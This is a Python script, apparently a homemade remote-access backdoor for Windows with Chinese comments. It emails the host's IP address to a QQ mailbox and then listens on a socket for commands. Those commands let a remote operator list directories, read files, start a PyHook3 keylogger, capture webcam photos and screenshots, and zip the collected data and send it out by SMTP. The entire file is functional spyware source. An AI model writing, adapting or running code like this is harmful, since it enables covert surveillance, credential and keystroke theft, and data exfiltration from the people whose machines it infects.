#! python3.7
# -*-coding:utf-8 -*-

import cv2
import os
import threading
import socket
from time import sleep
from PIL import ImageGrab
import time
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.header import Header
from email.mime.application import MIMEApplication
import zipfile
import PyHook3
lt = ''
i = 0
length = ''
llen = ''
try2hack = ''
confirm = ''
foldername = ''
hostname = socket.gethostname()
address = socket.gethostbyname(hostname)
port = 9092

#将当前电脑IP发送给电脑所有者
mail_host = "smtp.qq.com"  # 设置服务器
mail_user = "@qq.com"  # 用户名
mail_pass = ""  # 口令
sender = '@qq.com'
receivers = ['@qq.com']  # 接收邮件，可设置为你的QQ邮箱或者其他邮箱

message = MIMEText(address, 'plain', 'utf-8')
message['From'] = Header("您的电脑当前IP", 'utf-8')
message['To'] = Header("主人", 'utf-8')

subject = address
message['Subject'] = Header(subject, 'utf-8')

try:
    smtpObj=smtplib.SMTP()
    smtpObj.connect(mail_host, 25)  # 25 为 SMTP 端口号
    smtpObj.login(mail_user, mail_pass)
    smtpObj.sendmail(sender, receivers, message.as_string())
except smtplib.SMTPException:
    pass

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((address, port))
s.listen(1)


def newrecc(csock, lt, n):
    while len(lt.encode()) < n:  # 这样才兼容中文字符！
        k = ''
        k = csock.recv(n - len(lt)).decode('utf-8')
        print("k=%s" % k)
        lt += k
    return lt


def findsprit(pathnow):  # 获取上级目录路径
    i = 0
    position = 0
    spritnum = 0
    for i in range(len(pathnow)):
        if pathnow[i] == '\\':
            position = i
            spritnum += 1
        else:
            continue
    if spritnum == 1:
        return pathnow[0:position + 1]
    else:
        return pathnow[0:position]



def zip_ya() :
    start_dir = os.getcwd() + r"\getFile"  # 要压缩的文件夹路径
    file_news = "test" + '.zip'  # 压缩后文件夹的名字
    z = zipfile.ZipFile(file_news, 'w', zipfile.ZIP_DEFLATED)
    for dir_path, dir_names, file_names in os.walk(start_dir) :
        f_path = dir_path.replace(start_dir, '')  # 这一句很重要，不replace的话，就从根目录开始复制
        f_path = f_path and f_path + os.sep or ''  # 实现当前文件夹以及包含的所有文件的压缩
        for filename in file_names :
            z.write(os.path.join(dir_path, filename), f_path + filename)
    z.close()
    return file_news

donotcopy=[58,58,69]
specialcopy=['[Home]','[Up]','[pgup]','-','[Left]','[Clear]','[Right]','+','[End]','[Down]','[pgdn]','[insert]']
def onKeyboardEvent(event):
	# 监听键盘事件
	#print("MessageName:", event.MessageName)
	#print("WindowName:", event.WindowName)
	#print("Ascii:", event.Ascii, chr(event.Ascii))
	#print(type(event.Ascii))
	try:
		f=open('getFile/Everything.txt','a+')
		#print("检测到了")
	except:
		f=open('getFile/Everything.txt','w+')
		#print("没检测到 所以我自己新建了一个")
	finally:
		if event.Ascii:
			if event.Ascii==13:
				f.write('\n')
			elif event.Ascii==8:
				f.write('\b')
			else:
				f.write(chr(event.Ascii))
		elif event.ScanCode in donotcopy:
			print('haha')
		elif event.ScanCode in range(59,69):
			f.write('[F'+str(event.ScanCode-58)+']')
		elif event.ScanCode in range(87,89):
			f.write('[F'+str(event.ScanCode-76)+']')
		elif event.ScanCode in range(71,83):
			f.write(specialcopy[event.ScanCode-71])
		elif event.ScanCode==91:
			f.write('[LWin]')
		elif event.ScanCode==83:
			f.write('[DEL]')
		elif event.ScanCode==29:
			f.write('[Ctrl]')
		elif event.ScanCode==55:
			f.write('[SnapShot]')
		else:
			print("有一只漏网之鱼")
		f.close()
		#print("我确实地关掉了文件")
	#print("Key:", event.Key)
#	print("KeyID:", event.KeyID)
	#print("ScanCode:", event.ScanCode)
	#print(type(event.ScanCode))
	#print("Extended:", event.Extended)
	#print("Injected:", event.Injected)
	#print("Alt", event.Alt)
	#print("Transition", event.Transition)
	#print("---")
	# 同鼠标事件监听函数的返回值
	return True

def keyboard():
    hm = PyHook3.HookManager()
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()
    import pythoncom
    pythoncom.PumpMessages()

def hacktime(csocket, caddress):
    global length, lt, llen, try2hack, confirm, foldername
    i = 0
    print("检测到入侵！")

    lt = newrecc(csocket, lt, 1)  # 传输内容
    print('lt=%s' % lt)
    #	subprocess.Popen('bright00.py',shell=True)
    if lt == '1':
        pathnow = os.getcwd()
        print(type(pathnow))
        print("OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO")
        csocket.send(str(len(str(len(pathnow.encode())))).encode())
        csocket.send(str(len(pathnow.encode())).encode())
        csocket.send(pathnow.encode())
        print("I'm here!!!!!!!!!!!!!!!!!")
        '''
		ft=os.open('temp00.txt',os.O_RDWR|os.O_CREAT)
		os.write(ft,'shit!'.encode())
		os.close(ft)
		os.chdir(r'E:/NewHome')
		pathnow=os.getcwd()
		'''
        while try2hack != '0':
            try2hack = newrecc(csocket, try2hack, 1)
            #		print("try2hack=%s"%try2hack)
            if try2hack == '1':
                pathnow = os.getcwd()
                filelist = os.listdir(pathnow)
                filenum = len(filelist)
                print(filenum)
                print(type(filenum))
                #		print(filelist)
                print(str(len(str(filenum))))
                csocket.send(str(len(str(filenum))).encode())
                csocket.send(str(filenum).encode())  # 传输当前目录文件数
                for i in range(len(filelist)):
                    print(filelist[i])
                    csocket.send(str(len(str(len(filelist[i].encode())))).encode())
                    csocket.send(str(len(filelist[i].encode())).encode())
                    csocket.send(filelist[i].encode())
                print("传输完成")
                try2hack = ''
            elif try2hack == '2':
                confirm = ''
                confirm = newrecc(csocket, confirm, 1)
                print('confirm=%s' % confirm)
                if confirm == 'Y':
                    llen = ''
                    length = ''
                    llen = newrecc(csocket, llen, 1)
                    length = newrecc(csocket, length, int(llen))
                    foldername = ''
                    foldername = newrecc(csocket, foldername, int(length))
                    pathnow = os.getcwd()
                    os.chdir(pathnow + '\\' + foldername)
                    pathnow = os.getcwd()
                    print(pathnow)
                    csocket.send(str(len(str(len(pathnow.encode())))).encode())
                    csocket.send(str(len(pathnow.encode())).encode())
                    csocket.send(pathnow.encode())
                try2hack = ''
            elif try2hack == '3':
                confirm = ''
                confirm = newrecc(csocket, confirm, 1)
                if confirm == 'Y':
                    txtname = ''
                    llen = ''
                    length = ''
                    llen = newrecc(csocket, llen, 1)
                    length = newrecc(csocket, length, int(llen))
                    txtname = newrecc(csocket, txtname, int(length))
                    fwanted = open(txtname, 'r')
                    txtdata = fwanted.read()
                    csocket.send(str(len(str(len(txtdata.encode())))).encode())
                    csocket.send(str(len(txtdata.encode())).encode())
                    csocket.send(txtdata.encode())
                try2hack = ''
            elif try2hack == '4':
                pathto = ''
                pathnow = os.getcwd()
                pathto = findsprit(pathnow)
                os.chdir(pathto)
                pathnow = os.getcwd()
                print(pathnow)
                csocket.send(str(len(str(len(pathnow.encode())))).encode())
                csocket.send(str(len(pathnow.encode())).encode())
                csocket.send(pathnow.encode())
                try2hack = ''
            else:
                pass
        print('Here we are in', pathnow)

    elif lt == '2':
        t3 = threading.Thread(target=keyboard)
        t3.start()
    elif lt == '3':
        #os.system('shutdown -s -f -t 5')
        print("算了")
    elif lt == '4':
        cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)  # 电脑自身摄像头
        i = 0  # 定时装置初始值
        photoname = 1  # 文件名序号初始值

        while True :
            i = i + 1
            reg, frame = cap.read()
            frame = cv2.flip(frame, 1)  # 图片左右调换
            # cv2.imshow('window', frame)

            if i == 10 :  # 定时装置，定时截屏，可以修改。

                filename = str(photoname) + '.jpg'  # filename为图像名字，将photoname作为编号命名保存的截图
                cv2.imwrite("./getFile/" + filename, frame)  # 截图 前面为放在桌面的路径 frame为此时的图像
                # print(filename + '保存成功')  # 打印保存成功
                i = 0  # 清零

                photoname = photoname + 1
                if photoname >= 10 :  # 最多截图10张 然后退出（如果调用photoname = 1 不用break为不断覆盖图片）
                    break
            if cv2.waitKey(1) & 0xff == ord('q') :
                break

        cap.release()
    elif lt == '5':
        i = 0
        starttime = time.time()
        while (round(time.time() - starttime != 2)) :
            if (time.time() - starttime > 2) :
                break
            img = ImageGrab.grab()
            img.save(os.getcwd() + r"\getFile\screen" + str(i) + ".jpg")
            i = i + 1
    elif lt == '6' :
        from_addr = '@qq.com'#发送邮箱
        password = ''#授权码
        to_addr = '@qq.com'#接受邮箱
        smtp_server = 'smtp.qq.com'
        zip_ya()
        pdfFile = 'test.zip'
        pdfApart = MIMEApplication(open(pdfFile, 'rb').read())
        pdfApart.add_header('Content-Disposition', 'attachment', filename=pdfFile)
        msg_file = MIMEMultipart()
        msg_file['From'] = Header(from_addr)
        msg_file['To'] = Header(to_addr)
        msg = MIMEText('', 'plain', 'utf-8')
        msg_file.attach(msg)
        msg_file.attach(pdfApart)
        msg_file['Subject'] = 'title'
        server = smtplib.SMTP_SSL(smtp_server)
        server.connect(smtp_server, 465)
        server.login(from_addr, password)
        server.sendmail(from_addr, to_addr, msg_file.as_string())
        server.quit()
    elif lt == '0':
        csocket.close()
    csocket.close()

while True:
    csocket, caddress = s.accept()
    t2 = threading.Thread(target=hacktime, args=(csocket, caddress))
    t2.start()
    s.close()
    exit(0)
